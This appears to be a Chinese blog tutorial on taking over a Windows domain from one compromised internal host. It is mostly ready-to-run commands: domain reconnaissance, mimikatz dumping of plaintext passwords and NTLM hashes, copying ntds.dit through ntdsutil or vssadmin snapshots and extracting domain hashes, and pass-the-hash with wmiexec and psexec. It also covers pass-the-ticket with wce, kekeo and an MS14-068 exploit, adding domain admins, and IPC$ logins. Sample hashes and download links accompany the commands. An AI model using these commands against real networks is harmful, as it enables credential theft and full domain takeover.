前言:

我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机。比如说有域的时候的域控机,有多层内网的堡垒机等,下面将介绍如何用已控制的内网机拿到域控的方法。

0x00 环境

假如是一个域环境:

域控: 192.168.106.129

已经控制的内网机: 192.168.106.120

其他假如存在一些其他普通的机子。

0x01 内网信息收集

初步的查看网络信息:

ipconfig /all
netstat -ano
arp -a

这就可以查看到是否存在内网

查看是否有域:net user /domain(查看所有域用户)

如果有域,那么收集域内主机信息:

net view   #查看域中的机器
net view /domain # 查看网络中有哪些域
net view /domain:domainhack # 查看 domainhack 域中的机器

然后通过 ping 机器名 可以获取 ip

查找域控的几种方法:

dsquery server
net time /domain
ipconfig /all 查看 dns 信息
端口扫描,域控服务器会开放389端口,如果和DNS同服务器,那么也会有53
net group “domain controllers” /domain 得到域控制器主机名
net group “domain admins” /domain 查询域管理用户

0x02 抓取明文&&hash

利用mimikatz抓取登录过的明文,也可获取到ntlm_hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
获取ntlm hash

直接获取hash:

mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
获取aes等hash,如果捕获不到ntlm hash,那么就使用这条命令捕获

0x03导出 ntds.dit获取hash

方法一 ntdsutil:

ntdsutil snapshot "List All" quit quit   # 列举快照
ntdsutil snapshot "activate instance ntds" create quit quit # 创建快照
ntdsutil snapshot "mount {77e43351-f29c-4bb2-86ad-cc6b7610589d}" # 挂载快照
copy C:\$SNAP_201803152221_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit #复制
ntds.dit

方法二 vssadmin:

vssadmin list shadows # 查询当前系统的快照
vssadmin create shadow /for=c: #创建快照
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit # 复制ntds.dit
vssadmin delete shadows /for=c: /quiet #删除快照

导出ntds.dit后:

获取 system.hiv:

reg save hklm\system system.hiv

QuarksPwDump.exe 导出 hash:

 QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file  system.hiv

0x04 pass-the-hash 攻击

1.mimikatz:

mimikatz.exe
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
如果是win2008之后只能抓取到aes hash值,那么将上面的ntlm 改成aes

2.wmiexec

下载地址:https://github.com/maaaaz/impacket-examples-windows

wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.106.129 "whoami"
domainhack 为域名
Administrator 域用户
192.168.106.129 目标 IP

3.psexec

psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.106.129 "whoami"

0x05 pass-the-ticket攻击(票据)

mimikatz清除票据:

为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法使用mimikatz

mimikatz.exe "kerberos::list" "kerberos::purge"

1.wce

要求:

  1. 域用户名 ,hash (用前面的方法获取)
  2. 本机 administor 权限

用法:

wce -s Administrator::AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09

2.keko

下载地址:

https://github.com/gentilkiwi/kekeo

要求:

域用户名 ,hash (用前面的方法获取),域名

用法:

生成票据
kekeo "tgt::ask /user:Administrator /domain:domainhack.com /ntlm:A812E6C2DEFCB0A7B80868F9F3C88D09"
导入票据
kekeo "kerberos::ptt TGT_Administrator@DOMAINHACK.COM_krbtgt~domainhack.com@DOMAINHACK.COM.kirbi"

3.ms14-068.exe

下载地址:

https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/MS14-068.exe

要求:

域用户名 , 密码
用户sid # whoami /all 获取

用法:

生成 票据
ms14-.exe -u hacker@domainhack.com -s S------- -d 192.168.106.129 -p qaz123!@#
ms14-.exe -u 域用户@域名.com -s 用户sid -d 域控ip地址 -p 用户名密码
导入票据
Mimikatz.exe "kerberos::ptc TGT_hacker@domainhack.com.ccache"

导入票据后就相当于有了 域管理员的权限, 直接添加域管理员

写入成功后,使用PsExec.exe以管理员权限运行连接域控

psexec64.exe \\域控主机名 cmd.exe

https://www.cnblogs.com/feizianquan/archive/2019/10/29/11760564.html

0x06 ipc攻击

域控开了ipc共享的话,直接ipc也可以连接登录,如果是xp系统的话用户秘密都不要

net view 192.168.211.130   #查看共享
net use \\192.168.211.130\ipc$ "password" /user:"user" # ipc$ 连接

内网hash传递的更多相关文章

  1. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  2. 内网技巧-通过SAM数据库获得本地用户hash的方法

    内网技巧-通过SAM数据库获得本地用户hash的方法 在windows上的C:\Windows\System32\config目录保存着当前用户的密码hash.我们可以使用相关手段获取该hash. 提 ...

  3. PtH(hash传递攻击)原理探秘

    背景知识 Windows 横向渗透的两种方式 1.hash传递攻击,通过传递NTLM-Hash,登录机器,简称PtH: 2.ticket传递攻击,通过传递kerberos的ticket,登录机器,简称 ...

  4. 内网渗透bypassuac和smb溢出

    对内网渗透需要渗透的目标主机处于跨网段和uac限制的情况做一个渗透记录 环境大致如下 拥有shell权限的win7(有uac限制,处于双网段) 和同win7同一网段下暂时无权限的靶机xp 先对有权限的 ...

  5. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

  6. 内网渗透-windows认证

    前言:全国HW刚结束,加强一波内网概念,去年11月红队成绩并不理想,这次必拿下好成绩.冲!!! 0x00 本地认证 本地认证基础知识 在本地登录Windows的情况下,操作系统会使用用户输入的密码作为 ...

  7. 内网渗透-横向移动($IPC&at&schtasks)

    内网渗透-横向移动 #建立ipc连接并将后门添加至计划任务 前置条件:获取到某域主机权限->得到明文或者hash,通过信息收集到的用户列表当做用户名字典->用得到的密码明文当做密码字典 本 ...

  8. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  9. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

随机推荐

  1. Go语言实现:【剑指offer】变态跳台阶

    该题目来源于牛客网<剑指offer>专题. 一只青蛙一次可以跳上1级台阶,也可以跳上2级--它也可以跳上n级.求该青蛙跳上一个n级的台阶总共有多少种跳法. 找规律: 1阶:1种: 2阶:2 ...

  2. Java生成微信分享海报【基础设计】

    前言 微信后台生成海报一般都是一个模板写死,然后就完事了,过了不久让修改个模板,就又要看半天,还要考虑是否重新复制一份改一改,越来越多的重复代码,全在一个图片类里,然后就越来越乱.这两天用设计模式处理 ...

  3. NIO学习笔记,从Linux IO演化模型到Netty—— 究竟如何理解同步、异步、阻塞、非阻塞

    我的观点 首先,分开各自理解. 1. 同步:描述两个(或者多个)个体之间的协调关系. 比如,单线程中,methodA调用了methodB,methodB返回后,methodA才往下执行,那么称A同步调 ...

  4. drf token刷新配置、认证组件(使用)、权限组件(使用)、频率组件(使用)、异常组件(使用)

    目录 一.特殊路由映射的请求 二.token刷新机制配置(了解) 三.认证组件项目使用:多方式登录 1.urls.py 路由 2.views.py 视图 3.serializers.py 序列化 4. ...

  5. 《SQL基础教程》+ 《SQL进阶教程》 学习笔记

    写在前面:本文主要注重 SQL 的理论.主流覆盖的功能范围及其基本语法/用法.至于详细的 SQL 语法/用法,因为每家 DBMS 都有些许不同,我会在以后专门介绍某款DBMS(例如 PostgreSQ ...

  6. Java工作流系统jflow从表功能介绍一

    关键词:工作流快速开发平台  工作流流设计  业务流程管理   asp.net 开源工作流  bpm工作流系统  java工作流主流框架  自定义工作流引擎 表单设计器  流程设计器 从表也叫明细表, ...

  7. 升级了NinjaLoveFish Excel量化表格

    为了方便查看均价和止盈值,新建了两列 这样做的好处就是,针对一个股票,可以实现不同的多个网格布局,然后分别实现各自的盈利设定. 例如这是网格1 那么同时也可以存在网格2 就可以实现多个网格布局到一个股 ...

  8. appium+python+unittest+HTMLRunner登录自动化测试报告

    环境搭建 python3Java JDK.netFrameworknodejsandroid SDKappiumAppium-Python-Client(pip install Appium-Pyth ...

  9. jmeter请求参数的两种方式

    Jmeter做接口测试,Body与Parameters的选取 1.普通的post请求和上传接口,选择Parameters. 2.json和xml请求接口,选择Body. 注意: 在做接口测试时注意下请 ...

  10. 多字节与Unicode

    编码知识 一.Unicode与多字节(ANSI ) (1)Windows中,Unicode也称为宽字节,多字节也称为窄字节; VS中默认使用Unicode编码,在项目属性>>配置属性> ...